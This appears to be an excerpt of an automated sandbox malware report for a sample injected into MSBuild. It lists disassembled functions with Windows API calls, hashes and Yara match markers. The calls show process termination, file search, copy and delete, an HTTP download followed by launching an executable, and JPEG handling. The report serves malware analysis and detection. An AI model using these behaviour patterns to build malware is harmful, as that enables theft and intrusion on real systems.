WriteFile.KERNEL32(00000000,?,6703FBD8,?,00000000,013C24C0,?,00000001,013C24C0,?,0041AFB5,?,00000001,013C24C0,6703FBD8,?), ref: 0041BF8F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: 05578ad4b13f119ef0813348ee963edb825593c69ba736a7b04731ebc7b05488
Instruction ID: f1a1a2233116e7a753b08b9836c7a6d2188e705690670611c9c5f627721e3dc4
Opcode Fuzzy Hash: 05578ad4b13f119ef0813348ee963edb825593c69ba736a7b04731ebc7b05488
Instruction Fuzzy Hash: 32315AB1604604AFDB25CF65D980AA7B7F8FB48354B40852EF94AC7A00DB74F9458F94

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 30a77b79d7308c4b0cce7711bfb0e7a5522f0aa98ec056037a9ae5aca9b15f61
Instruction ID: 588b135e0695d7a37b26689e9b705545647a49d0db6b9c6273211b73d031a9ac
Opcode Fuzzy Hash: 30a77b79d7308c4b0cce7711bfb0e7a5522f0aa98ec056037a9ae5aca9b15f61
Instruction Fuzzy Hash: 08314D72A0121CAFDF219F60DD849EEB7BDEB0A345F0400AAF909E2550D6799F84CF56

Function 0041665F Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 004166A7
lstrcatA.KERNEL32(?,00436B4C), ref: 004166C4
lstrcatA.KERNEL32(?), ref: 004166D7
lstrcatA.KERNEL32(?,00436B50), ref: 004166E9

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 1ce7a6a64786824d9a854f50bea0f94bdf1a7ca0d76a317500d6b463bba78804
Instruction ID: fd0c193a9a19d4121daff6dcae8f6240a98797df6e701c97ffaf34763230af76
Opcode Fuzzy Hash: 1ce7a6a64786824d9a854f50bea0f94bdf1a7ca0d76a317500d6b463bba78804
Instruction Fuzzy Hash: 8A21B57190021DAFCF54DF60DC46AD9B779EB04305F1040A6F549A3190EEBA9BC48F44

Function 6CA7B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7B4F5
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B502
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B542
free.MOZGLUE(?), ref: 6CA7B578

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction ID: 366e3110e5e6350e9768a8c5b666c5d5074523ba40e3269c13786e9574f1dcec
Opcode Fuzzy Hash: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction Fuzzy Hash: 6811D675A04B46CBD7228F29E9047A1B3B5FFDA318F14970ED84A53A01EBB1B1C597E0

Function 6CAA3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA6F20E,?), ref: 6CAA3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA6F20E,00000000,?), ref: 6CAA3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAA3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAA3E0E

Part of subcall function 6CA9CC00: GetCurrentProcess.KERNEL32(?,?,6CA631A7), ref: 6CA9CC0D
Part of subcall function 6CA9CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA631A7), ref: 6CA9CC16

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction ID: 547da9f9e36fd23cfb1584dbcd18c2384330538ed73a327fe0248a2abd5a663a
Opcode Fuzzy Hash: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction Fuzzy Hash: 5BF082715003097BDB04AB94EC46DAB376DDB4A628F054024FD0917700D635FD5A9BF7

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 32fe7cdf56e4caa4684b0912eee33db16c78e3ca909bc679ee1ae79e1ad10f07
Instruction ID: 8330b7e0ab97a76fe0a7a8ba4a90605a953976df745d3243dedcd48857e70ebb
Opcode Fuzzy Hash: 32fe7cdf56e4caa4684b0912eee33db16c78e3ca909bc679ee1ae79e1ad10f07
Instruction Fuzzy Hash: D1F031B1900228BBDF14DFE59C059BF77BCAB0C616F001095F941E2180E6799A80D775

Function 00412166 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,00414FAC,?,?,?,00414FAC,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121AC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6CAB85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAB85D3

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAB8725

Strings

map/set<T> too long, xrefs: 6CAB8720

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction ID: 75c1540af845f619d52f1637075da70f43527178c22cb8a6ee9fda9bacd0ee33
Opcode Fuzzy Hash: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction Fuzzy Hash: 75517774A00686CFD701CF18C194B96BBF5BF4A318F18C19AD8596BB52C335E885CF92

Function 00412BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

_memset.LIBCMT ref: 00412CDF
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436710), ref: 00412D31

Strings

.exe, xrefs: 00412C3C

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: 3f9e70e2d476e4ffda3d1100c41d9316d40a770b429548b43c5e4a0b802085cb
Instruction ID: 21e6cc503974564d301979d46525f757b90f4bf58159277863c67e13fcbd1b65
Opcode Fuzzy Hash: 3f9e70e2d476e4ffda3d1100c41d9316d40a770b429548b43c5e4a0b802085cb
Instruction Fuzzy Hash: 83417372E00109BBDF11FBA6ED42ACE7775AF44308F510076F500B7191DAB86E8A8BD9

Function 6CA6BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA6BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA6BE8F

Strings

0, xrefs: 6CA6BE5B

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction ID: 7a0ee3dacf50476c6e558c97ec74f699cba3c0403560ac4f237194407117c4d3
Opcode Fuzzy Hash: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction Fuzzy Hash: 2E41C271908745CFC311CF3AD481A9BB7F4AF8A348F008B1DF9855BA11D730D9999B82

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: f3b0af3df79a2dfd7bc7bbf06123ea3464f240820574710358809bccee096707
Instruction ID: 019554aef3182e2644f126f54dde2660d45a8ea7e214a1d86a14fed97e74ad25
Opcode Fuzzy Hash: f3b0af3df79a2dfd7bc7bbf06123ea3464f240820574710358809bccee096707
Instruction Fuzzy Hash: 2711E371300201ABEB249E2DD840929B369FF85364714023FF801ABBC2C779ED69C29A

Function 0041343F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413465
strtok_s.MSVCRT ref: 004134C0

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Strings

xA, xrefs: 00413457, 0041345A

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: xA
API String ID: 348468850-34346596
Opcode ID: 6d49049cc4aadcaf061b8a5d309745c181b0c7aecd75bb9e25b93cae7b457fbf
Instruction ID: 192b4af21b90ebfbdba17fc2099509978ca0c9e5c99c56cf056cc76294817379
Opcode Fuzzy Hash: 6d49049cc4aadcaf061b8a5d309745c181b0c7aecd75bb9e25b93cae7b457fbf
Instruction Fuzzy Hash: FD116D72904009AFCB01DF94D981EDAB7B8FF18315F104056ED09E7281EB78EF898B98

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction ID: 1c9963d8e1bd3712552ddde0994ffc3eb950a7432bc1cc1e62e4a2615aecff81
Opcode Fuzzy Hash: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction Fuzzy Hash: 5A11A572910108FFCB10CFA5CD848DEBB7AFE05361B21026BEA11A21A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
